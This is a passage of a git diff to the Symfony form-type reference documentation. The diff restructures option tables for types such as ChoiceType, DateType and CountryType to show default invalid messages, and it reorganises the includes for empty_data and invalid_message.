 .. include:: /reference/forms/types/options/inherit_data.rst.inc
 
-.. include:: /reference/forms/types/options/invalid_message.rst.inc
-
 .. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/button.rst b/reference/forms/types/button.rst
index 655d515215b..5c490a79dca 100644
--- a/reference/forms/types/button.rst
+++ b/reference/forms/types/button.rst
@@ -9,15 +9,6 @@ A simple, non-responsive button.
 +----------------------+----------------------------------------------------------------------+
 | Rendered as          | ``button`` tag                                                       |
 +----------------------+----------------------------------------------------------------------+
-| Inherited            | - `attr`_                                                            |
-| options              | - `attr_translation_parameters`_                                     |
-|                      | - `disabled`_                                                        |
-|                      | - `label`_                                                           |
-|                      | - `label_html`_                                                      |
-|                      | - `label_translation_parameters`_                                    |
-|                      | - `row_attr`_                                                        |
-|                      | - `translation_domain`_                                              |
-+----------------------+----------------------------------------------------------------------+
 | Parent type          | none                                                                 |
 +----------------------+----------------------------------------------------------------------+
 | Class                | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\ButtonType` |
diff --git a/reference/forms/types/checkbox.rst b/reference/forms/types/checkbox.rst
index aef03ef1e44..a27637bff4b 100644
--- a/reference/forms/types/checkbox.rst
+++ b/reference/forms/types/checkbox.rst
@@ -11,34 +11,17 @@ you can specify an array of values that, if submitted, will be evaluated
 to "false" as well (this differs from what HTTP defines, but can be handy
 if you want to handle submitted values like "0" or "false").
 
-+-------------+------------------------------------------------------------------------+
-| Rendered as | ``input`` ``checkbox`` field                                           |
-+-------------+------------------------------------------------------------------------+
-| Options     | - `false_values`_                                                      |
-|             | - `value`_                                                             |
-+-------------+------------------------------------------------------------------------+
-| Overridden  | - `compound`_                                                          |
-| options     | - `empty_data`_                                                        |
-+-------------+------------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                              |
-| options     | - `data`_                                                              |
-|             | - `disabled`_                                                          |
-|             | - `error_bubbling`_                                                    |
-|             | - `error_mapping`_                                                     |
-|             | - `help`_                                                              |
-|             | - `help_attr`_                                                         |
-|             | - `help_html`_                                                         |
-|             | - `label`_                                                             |
-|             | - `label_attr`_                                                        |
-|             | - `label_format`_                                                      |
-|             | - `mapped`_                                                            |
-|             | - `required`_                                                          |
-|             | - `row_attr`_                                                          |
-+-------------+------------------------------------------------------------------------+
-| Parent type | :doc:`FormType </reference/forms/types/form>`                          |
-+-------------+------------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CheckboxType` |
-+-------------+------------------------------------------------------------------------+
++---------------------------+------------------------------------------------------------------------+
+| Rendered as               | ``input`` ``checkbox`` field                                           |
++---------------------------+------------------------------------------------------------------------+
+| Default invalid message   | The checkbox has an invalid value.                                     |
++---------------------------+------------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                    |
++---------------------------+------------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                          |
++---------------------------+------------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CheckboxType` |
++---------------------------+------------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -74,6 +57,8 @@ Overridden Options
 
 .. include:: /reference/forms/types/options/checkbox_empty_data.rst.inc
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
diff --git a/reference/forms/types/choice.rst b/reference/forms/types/choice.rst
index 04efd2fe02c..2581f7b7af7 100644
--- a/reference/forms/types/choice.rst
+++ b/reference/forms/types/choice.rst
@@ -9,52 +9,17 @@ It can be rendered as a ``select`` tag, radio buttons, or checkboxes.
 
 To use this field, you must specify *either* ``choices`` or ``choice_loader`` option.
 
-+-------------+------------------------------------------------------------------------------+
-| Rendered as | can be various tags (see below)                                              |
-+-------------+------------------------------------------------------------------------------+
-| Options     | - `choices`_                                                                 |
-|             | - `choice_attr`_                                                             |
-|             | - `choice_filter`_                                                           |
-|             | - `choice_label`_                                                            |
-|             | - `choice_loader`_                                                           |
-|             | - `choice_name`_                                                             |
-|             | - `choice_translation_domain`_                                               |
-|             | - `choice_value`_                                                            |
-|             | - `expanded`_                                                                |
-|             | - `group_by`_                                                                |
-|             | - `multiple`_                                                                |
-|             | - `placeholder`_                                                             |
-|             | - `preferred_choices`_                                                       |
-+-------------+------------------------------------------------------------------------------+
-| Overridden  | - `compound`_                                                                |
-| options     | - `empty_data`_                                                              |
-|             | - `error_bubbling`_                                                          |
-|             | - `trim`_                                                                    |
-+-------------+------------------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                                    |
-| options     | - `by_reference`_                                                            |
-|             | - `data`_                                                                    |
-|             | - `disabled`_                                                                |
-|             | - `error_mapping`_                                                           |
-|             | - `help`_                                                                    |
-|             | - `help_attr`_                                                               |
-|             | - `help_html`_                                                               |
-|             | - `inherit_data`_                                                            |
-|             | - `label`_                                                                   |
-|             | - `label_attr`_                                                              |
-|             | - `label_format`_                                                            |
-|             | - `mapped`_                                                                  |
-|             | - `required`_                                                                |
-|             | - `row_attr`_                                                                |
-|             | - `translation_domain`_                                                      |
-|             | - `label_translation_parameters`_                                            |
-|             | - `attr_translation_parameters`_                                             |
-|             | - `help_translation_parameters`_                                             |
-+-------------+------------------------------------------------------------------------------+
-| Parent type | :doc:`FormType </reference/forms/types/form>`                                |
-+-------------+------------------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\ChoiceType`         |
-+-------------+------------------------------------------------------------------------------+
++---------------------------+----------------------------------------------------------------------+
+| Rendered as               | can be various tags (see below)                                      |
++---------------------------+----------------------------------------------------------------------+
+| Default invalid message   | The selected choice is invalid.                                      |
++---------------------------+----------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                  |
++---------------------------+----------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                        |
++---------------------------+----------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\ChoiceType` |
++---------------------------+----------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -227,6 +192,8 @@ correct types will be assigned to the model.
 
 .. include:: /reference/forms/types/options/choice_translation_domain_enabled.rst.inc
 
+.. include:: /reference/forms/types/options/choice_translation_parameters.rst.inc
+
 .. include:: /reference/forms/types/options/choice_value.rst.inc
 
 .. include:: /reference/forms/types/options/expanded.rst.inc
@@ -250,8 +217,7 @@ compound
 This option specifies if a form is compound. The value is by default
 overridden by the value of the ``expanded`` option.
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The actual default value of this option depends on other field options:
 
@@ -259,8 +225,7 @@ The actual default value of this option depends on other field options:
   (empty string);
 * Otherwise ``[]`` (empty array).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 error_bubbling
 ~~~~~~~~~~~~~~
@@ -272,6 +237,8 @@ the parent field (the form in most cases).
 
 .. include:: /reference/forms/types/options/choice_type_trim.rst.inc
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
diff --git a/reference/forms/types/collection.rst b/reference/forms/types/collection.rst
index f3f0c8f4562..c5572f93c6b 100644
--- a/reference/forms/types/collection.rst
+++ b/reference/forms/types/collection.rst
@@ -11,37 +11,17 @@ forms, which is useful when creating forms that expose one-to-many
 relationships (e.g. a product from where you can manage many related product
 photos).
 
-+-------------+-----------------------------------------------------------------------------+
-| Rendered as | depends on the `entry_type`_ option                                         |
-+-------------+-----------------------------------------------------------------------------+
-| Options     | - `allow_add`_                                                              |
-|             | - `allow_delete`_                                                           |
-|             | - `delete_empty`_                                                           |
-|             | - `entry_options`_                                                          |
-|             | - `entry_type`_                                                             |
-|             | - `prototype`_                                                              |
-|             | - `prototype_data`_                                                         |
-|             | - `prototype_name`_                                                         |
-+-------------+-----------------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                                   |
-| options     | - `by_reference`_                                                           |
-|             | - `empty_data`_                                                             |
-|             | - `error_bubbling`_                                                         |
-|             | - `error_mapping`_                                                          |
-|             | - `help`_                                                                   |
-|             | - `help_attr`_                                                              |
-|             | - `help_html`_                                                              |
-|             | - `label`_                                                                  |
-|             | - `label_attr`_                                                             |
-|             | - `label_format`_                                                           |
-|             | - `mapped`_                                                                 |
-|             | - `required`_                                                               |
-|             | - `row_attr`_                                                               |
-+-------------+-----------------------------------------------------------------------------+
-| Parent type | :doc:`FormType </reference/forms/types/form>`                               |
-+-------------+-----------------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CollectionType`    |
-+-------------+-----------------------------------------------------------------------------+
++---------------------------+--------------------------------------------------------------------------+
+| Rendered as               | depends on the `entry_type`_ option                                      |
++---------------------------+--------------------------------------------------------------------------+
+| Default invalid message   | The collection is invalid.                                               |
++---------------------------+--------------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                      |
++---------------------------+--------------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                            |
++---------------------------+--------------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CollectionType` |
++---------------------------+--------------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -396,6 +376,11 @@ If you have several collections in your form, or worse, nested collections
 you may want to change the placeholder so that unrelated placeholders are
 not replaced with the same value.
 
+Overridden Options
+------------------
+
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -408,13 +393,11 @@ Not all options are listed here - only the most applicable to this type:
 
 .. include:: /reference/forms/types/options/by_reference.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The default value is ``[]`` (empty array).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 error_bubbling
 ~~~~~~~~~~~~~~
diff --git a/reference/forms/types/color.rst b/reference/forms/types/color.rst
index a290b31e673..213c88323cc 100644
--- a/reference/forms/types/color.rst
+++ b/reference/forms/types/color.rst
@@ -14,32 +14,17 @@ The value of the underlying ``<input type="color">`` field is always a
 That's why it's not possible to select semi-transparent colors with this
 element.
 
-+-------------+---------------------------------------------------------------------+
-| Rendered as | ``input`` ``color`` field (a text box)                              |
-+-------------+---------------------------------------------------------------------+
-| Options     | - `html5`_                                                          |
-+-------------+---------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                           |
-| options     | - `data`_                                                           |
-|             | - `disabled`_                                                       |
-|             | - `empty_data`_                                                     |
-|             | - `error_bubbling`_                                                 |
-|             | - `error_mapping`_                                                  |
-|             | - `help`_                                                           |
-|             | - `help_attr`_                                                      |
-|             | - `help_html`_                                                      |
-|             | - `label`_                                                          |
-|             | - `label_attr`_                                                     |
-|             | - `label_format`_                                                   |
-|             | - `mapped`_                                                         |
-|             | - `required`_                                                       |
-|             | - `row_attr`_                                                       |
-|             | - `trim`_                                                           |
-+-------------+---------------------------------------------------------------------+
-| Parent type | :doc:`TextType </reference/forms/types/text>`                       |
-+-------------+---------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\ColorType` |
-+-------------+---------------------------------------------------------------------+
++---------------------------+---------------------------------------------------------------------+
+| Rendered as               | ``input`` ``color`` field (a text box)                              |
++---------------------------+---------------------------------------------------------------------+
+| Default invalid message   | Please select a valid color.                                        |
++---------------------------+---------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                 |
++---------------------------+---------------------------------------------------------------------+
+| Parent type               | :doc:`TextType </reference/forms/types/text>`                       |
++---------------------------+---------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\ColorType` |
++---------------------------+---------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -49,7 +34,7 @@ Field Options
 html5
 ~~~~~
 
-**type**: ``bool`` **default**: ``false``
+**type**: ``boolean`` **default**: ``false``
 
 .. versionadded:: 5.1
 
@@ -59,6 +44,11 @@ When this option is set to ``true``, the form type checks that its value matches
 the `HTML5 color format`_ (``/^#[0-9a-f]{6}$/i``). If it doesn't match it,
 you'll see the following error message: *"This value is not a valid HTML5 color"*.
 
+Overridden Options
+------------------
+
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -70,13 +60,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The default value is ``''`` (the empty string).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
diff --git a/reference/forms/types/country.rst b/reference/forms/types/country.rst
index f4082e498e8..4362cefd0d0 100644
--- a/reference/forms/types/country.rst
+++ b/reference/forms/types/country.rst
@@ -18,45 +18,17 @@ Unlike the ``ChoiceType``, you don't need to specify a ``choices`` option as the
 field type automatically uses all of the countries of the world. You *can* specify
 the option manually, but then you should just use the ``ChoiceType`` directly.
 
-+-------------+-----------------------------------------------------------------------+
-| Rendered as | can be various tags (see :ref:`forms-reference-choice-tags`)          |
-+-------------+-----------------------------------------------------------------------+
-| Options     | - `alpha3`_                                                           |
-|             | - `choice_translation_locale`_                                        |
-+-------------+-----------------------------------------------------------------------+
-| Overridden  | - `choices`_                                                          |
-| options     | - `choice_translation_domain`_                                        |
-+-------------+-----------------------------------------------------------------------+
-| Inherited   | from the :doc:`ChoiceType </reference/forms/types/choice>`            |
-| options     |                                                                       |
-|             | - `error_bubbling`_                                                   |
-|             | - `error_mapping`_                                                    |
-|             | - `expanded`_                                                         |
-|             | - `multiple`_                                                         |
-|             | - `placeholder`_                                                      |
-|             | - `preferred_choices`_                                                |
-|             | - `trim`_                                                             |
-|             |                                                                       |
-|             | from the :doc:`FormType </reference/forms/types/form>`                |
-|             |                                                                       |
-|             | - `attr`_                                                             |
-|             | - `data`_                                                             |
-|             | - `disabled`_                                                         |
-|             | - `empty_data`_                                                       |
-|             | - `help`_                                                             |
-|             | - `help_attr`_                                                        |
-|             | - `help_html`_                                                        |
-|             | - `label`_                                                            |
-|             | - `label_attr`_                                                       |
-|             | - `label_format`_                                                     |
-|             | - `mapped`_                                                           |
-|             | - `required`_                                                         |
-|             | - `row_attr`_                                                         |
-+-------------+-----------------------------------------------------------------------+
-| Parent type | :doc:`ChoiceType </reference/forms/types/choice>`                     |
-+-------------+-----------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CountryType` |
-+-------------+-----------------------------------------------------------------------+
++---------------------------+-----------------------------------------------------------------------+
+| Rendered as               | can be various tags (see :ref:`forms-reference-choice-tags`)          |
++---------------------------+-----------------------------------------------------------------------+
+| Default invalid message   | Please select a valid country.                                        |
++---------------------------+-----------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                   |
++---------------------------+-----------------------------------------------------------------------+
+| Parent type               | :doc:`ChoiceType </reference/forms/types/choice>`                     |
++---------------------------+-----------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CountryType` |
++---------------------------+-----------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -92,6 +64,8 @@ The locale is used to translate the countries names.
 
 .. include:: /reference/forms/types/options/choice_translation_domain_disabled.rst.inc
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -119,8 +93,7 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The actual default value of this option depends on other field options:
 
@@ -128,8 +101,7 @@ The actual default value of this option depends on other field options:
   (empty string);
 * Otherwise ``[]`` (empty array).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/help.rst.inc
 
diff --git a/reference/forms/types/currency.rst b/reference/forms/types/currency.rst
index 77da0481942..7ffa36a4f73 100644
--- a/reference/forms/types/currency.rst
+++ b/reference/forms/types/currency.rst
@@ -11,43 +11,17 @@ Unlike the ``ChoiceType``, you don't need to specify a ``choices`` option as the
 field type automatically uses a large list of currencies. You *can* specify the option
 manually, but then you should just use the ``ChoiceType`` directly.
 
-+-------------+------------------------------------------------------------------------+
-| Rendered as | can be various tags (see :ref:`forms-reference-choice-tags`)           |
-+-------------+------------------------------------------------------------------------+
-| Options     | - `choice_translation_locale`_                                         |
-+-------------+------------------------------------------------------------------------+
-| Overridden  | - `choices`_                                                           |
-| options     | - `choice_translation_domain`_                                         |
-+-------------+------------------------------------------------------------------------+
-| Inherited   | from the :doc:`ChoiceType </reference/forms/types/choice>`             |
-| options     |                                                                        |
-|             | - `error_bubbling`_                                                    |
-|             | - `expanded`_                                                          |
-|             | - `multiple`_                                                          |
-|             | - `placeholder`_                                                       |
-|             | - `preferred_choices`_                                                 |
-|             | - `trim`_                                                              |
-|             |                                                                        |
-|             | from the :doc:`FormType </reference/forms/types/form>` type            |
-|             |                                                                        |
-|             | - `attr`_                                                              |
-|             | - `data`_                                                              |
-|             | - `disabled`_                                                          |
-|             | - `empty_data`_                                                        |
-|             | - `help`_                                                              |
-|             | - `help_attr`_                                                         |
-|             | - `help_html`_                                                         |
-|             | - `label`_                                                             |
-|             | - `label_attr`_                                                        |
-|             | - `label_format`_                                                      |
-|             | - `mapped`_                                                            |
-|             | - `required`_                                                          |
-|             | - `row_attr`_                                                          |
-+-------------+------------------------------------------------------------------------+
-| Parent type | :doc:`ChoiceType </reference/forms/types/choice>`                      |
-+-------------+------------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CurrencyType` |
-+-------------+------------------------------------------------------------------------+
++---------------------------+------------------------------------------------------------------------+
+| Rendered as               | can be various tags (see :ref:`forms-reference-choice-tags`)           |
++---------------------------+------------------------------------------------------------------------+
+| Default invalid message   | Please select a valid currency.                                        |
++---------------------------+------------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                    |
++---------------------------+------------------------------------------------------------------------+
+| Parent type               | :doc:`ChoiceType </reference/forms/types/choice>`                      |
++---------------------------+------------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CurrencyType` |
++---------------------------+------------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -73,6 +47,8 @@ The choices option defaults to all currencies.
 
 .. include:: /reference/forms/types/options/choice_translation_domain_disabled.rst.inc
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -98,8 +74,7 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The actual default value of this option depends on other field options:
 
@@ -107,8 +82,7 @@ The actual default value of this option depends on other field options:
   (empty string);
 * Otherwise ``[]`` (empty array).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/help.rst.inc
 
diff --git a/reference/forms/types/date.rst b/reference/forms/types/date.rst
index 582b5bef6ff..22a64567a08 100644
--- a/reference/forms/types/date.rst
+++ b/reference/forms/types/date.rst
@@ -10,46 +10,19 @@ different HTML elements.
 This field can be rendered in a variety of different ways via the `widget`_ option
 and can understand a number of different input formats via the `input`_ option.
 
-+----------------------+-----------------------------------------------------------------------------+
-| Underlying Data Type | can be ``DateTime``, string, timestamp, or array (see the ``input`` option) |
-+----------------------+-----------------------------------------------------------------------------+
-| Rendered as          | single text box or three select fields                                      |
-+----------------------+-----------------------------------------------------------------------------+
-| Options              | - `days`_                                                                   |
-|                      | - `placeholder`_                                                            |
-|                      | - `format`_                                                                 |
-|                      | - `html5`_                                                                  |
-|                      | - `input`_                                                                  |
-|                      | - `input_format`_                                                           |
-|                      | - `model_timezone`_                                                         |
-|                      | - `months`_                                                                 |
-|                      | - `view_timezone`_                                                          |
-|                      | - `widget`_                                                                 |
-|                      | - `years`_                                                                  |
-+----------------------+-----------------------------------------------------------------------------+
-| Overridden options   | - `by_reference`_                                                           |
-|                      | - `choice_translation_domain`_                                              |
-|                      | - `compound`_                                                               |
-|                      | - `data_class`_                                                             |
-|                      | - `error_bubbling`_                                                         |
-+----------------------+-----------------------------------------------------------------------------+
-| Inherited            | - `attr`_                                                                   |
-| options              | - `data`_                                                                   |
-|                      | - `disabled`_                                                               |
-|                      | - `error_mapping`_                                                          |
-|                      | - `help`_                                                                   |
-|                      | - `help_attr`_                                                              |
-|                      | - `help_html`_                                                              |
-|                      | - `inherit_data`_                                                           |
-|                      | - `invalid_message`_                                                        |
-|                      | - `invalid_message_parameters`_                                             |
-|                      | - `mapped`_                                                                 |
-|                      | - `row_attr`_                                                               |
-+----------------------+-----------------------------------------------------------------------------+
-| Parent type          | :doc:`FormType </reference/forms/types/form>`                               |
-+----------------------+-----------------------------------------------------------------------------+
-| Class                | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\DateType`          |
-+----------------------+-----------------------------------------------------------------------------+
++---------------------------+-----------------------------------------------------------------------------+
+| Underlying Data Type      | can be ``DateTime``, string, timestamp, or array (see the ``input`` option) |
++---------------------------+-----------------------------------------------------------------------------+
+| Rendered as               | single text box or three select fields                                      |
++---------------------------+-----------------------------------------------------------------------------+
+| Default invalid message   | Please enter a valid date.                                                  |
++---------------------------+-----------------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                         |
++---------------------------+-----------------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                               |
++---------------------------+-----------------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\DateType`          |
++---------------------------+-----------------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -164,7 +137,7 @@ values for the year, month and day fields::
     $builder->add('dueDate', DateType::class, [
         'placeholder' => [
             'year' => 'Year', 'month' => 'Month', 'day' => 'Day',
-        ]
+        ],
     ]);
 
 .. _reference-forms-type-date-format:
@@ -210,6 +183,8 @@ The ``DateTime`` classes are treated as immutable objects.
 
 **default**: ``false``
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -231,8 +206,6 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/inherit_data.rst.inc
 
-.. include:: /reference/forms/types/options/invalid_message.rst.inc
-
 .. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/dateinterval.rst b/reference/forms/types/dateinterval.rst
index 84986f93c87..d625c058836 100644
--- a/reference/forms/types/dateinterval.rst
+++ b/reference/forms/types/dateinterval.rst
@@ -12,47 +12,19 @@ The field can be rendered in a variety of different ways (see `widget`_) and can
 give you a ``DateInterval`` object, an `ISO 8601`_ duration string (e.g. ``P1DT12H``)
 or an array (see `input`_).
 
-+----------------------+----------------------------------------------------------------------------------+
-| Underlying Data Type | can be ``DateInterval``, string or array (see the ``input`` option)              |
-+----------------------+----------------------------------------------------------------------------------+
-| Rendered as          | single text box, multiple text boxes or select fields - see the `widget`_ option |
-+----------------------+----------------------------------------------------------------------------------+
-| Options              | - `days`_                                                                        |
-|                      | - `hours`_                                                                       |
-|                      | - `minutes`_                                                                     |
-|                      | - `months`_                                                                      |
-|                      | - `seconds`_                                                                     |
-|                      | - `weeks`_                                                                       |
-|                      | - `input`_                                                                       |
-|                      | - `labels`_                                                                      |
-|                      | - `placeholder`_                                                                 |
-|                      | - `widget`_                                                                      |
-|                      | - `with_days`_                                                                   |
-|                      | - `with_hours`_                                                                  |
-|                      | - `with_invert`_                                                                 |
-|                      | - `with_minutes`_                                                                |
-|                      | - `with_months`_                                                                 |
-|                      | - `with_seconds`_                                                                |
-|                      | - `with_weeks`_                                                                  |
-|                      | - `with_years`_                                                                  |
-|                      | - `years`_                                                                       |
-+----------------------+----------------------------------------------------------------------------------+
-| Inherited            | - `attr`_                                                                        |
-| options              | - `data`_                                                                        |
-|                      | - `disabled`_                                                                    |
-|                      | - `help`_                                                                        |
-|                      | - `help_attr`_                                                                   |
-|                      | - `help_html`_                                                                   |
-|                      | - `inherit_data`_                                                                |
-|                      | - `invalid_message`_                                                             |
-|                      | - `invalid_message_parameters`_                                                  |
-|                      | - `mapped`_                                                                      |
-|                      | - `row_attr`_                                                                    |
-+----------------------+----------------------------------------------------------------------------------+
-| Parent type          | :doc:`FormType </reference/forms/types/form>`                                    |
-+----------------------+----------------------------------------------------------------------------------+
-| Class                | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\DateIntervalType`       |
-+----------------------+----------------------------------------------------------------------------------+
++---------------------------+----------------------------------------------------------------------------------+
+| Underlying Data Type      | can be ``DateInterval``, string or array (see the ``input`` option)              |
++---------------------------+----------------------------------------------------------------------------------+
+| Rendered as               | single text box, multiple text boxes or select fields - see the `widget`_ option |
++---------------------------+----------------------------------------------------------------------------------+
+| Default invalid message   | Please choose a valid date interval.                                             |
++---------------------------+----------------------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                              |
++---------------------------+----------------------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                                    |
++---------------------------+----------------------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\DateIntervalType`       |
++---------------------------+----------------------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -108,7 +80,7 @@ add a "blank" entry to the top of each select box::
 Alternatively, you can specify a string to be displayed for the "blank" value::
 
     $builder->add('remindEvery', DateIntervalType::class, [
-        'placeholder' => ['years' => 'Years', 'months' => 'Months', 'days' => 'Days']
+        'placeholder' => ['years' => 'Years', 'months' => 'Months', 'days' => 'Days'],
     ]);
 
 ``hours``
@@ -333,6 +305,11 @@ when the ``widget`` option is set to ``choice``::
     // values displayed to users range from 1 to 100 (both inclusive)
     'years' => array_combine(range(1, 100), range(1, 100)),
 
+Overridden Options
+------------------
+
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -352,8 +329,6 @@ These options inherit from the :doc:`form </reference/forms/types/form>` type:
 
 .. include:: /reference/forms/types/options/inherit_data.rst.inc
 
-.. include:: /reference/forms/types/options/invalid_message.rst.inc
-
 .. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/datetime.rst b/reference/forms/types/datetime.rst
index ad56b6e2d52..8d1e43da07e 100644
--- a/reference/forms/types/datetime.rst
+++ b/reference/forms/types/datetime.rst
@@ -10,55 +10,19 @@ date and time (e.g. ``1984-06-05 12:15:30``).
 Can be rendered as a text input or select tags. The underlying format of
 the data can be a ``DateTime`` object, a string, a timestamp or an array.
 
-+----------------------+-----------------------------------------------------------------------------+
-| Underlying Data Type | can be ``DateTime``, string, timestamp, or array (see the ``input`` option) |
-+----------------------+-----------------------------------------------------------------------------+
-| Rendered as          | single text box or three select fields                                      |
-+----------------------+-----------------------------------------------------------------------------+
-| Options              | - `choice_translation_domain`_                                              |
-|                      | - `date_format`_                                                            |
-|                      | - `date_label`_                                                             |
-|                      | - `date_widget`_                                                            |
-|                      | - `days`_                                                                   |
-|                      | - `placeholder`_                                                            |
-|                      | - `format`_                                                                 |
-|                      | - `hours`_                                                                  |
-|                      | - `html5`_                                                                  |
-|                      | - `input`_                                                                  |
-|                      | - `input_format`_                                                           |
-|                      | - `minutes`_                                                                |
-|                      | - `model_timezone`_                                                         |
-|                      | - `months`_                                                                 |
-|                      | - `seconds`_                                                                |
-|                      | - `time_label`_                                                             |
-|                      | - `time_widget`_                                                            |
-|                      | - `view_timezone`_                                                          |
-|                      | - `widget`_                                                                 |
-|                      | - `with_minutes`_                                                           |
-|                      | - `with_seconds`_                                                           |
-|                      | - `years`_                                                                  |
-+----------------------+-----------------------------------------------------------------------------+
-| Overridden options   | - `by_reference`_                                                           |
-|                      | - `compound`_                                                               |
-|                      | - `data_class`_                                                             |
-|                      | - `error_bubbling`_                                                         |
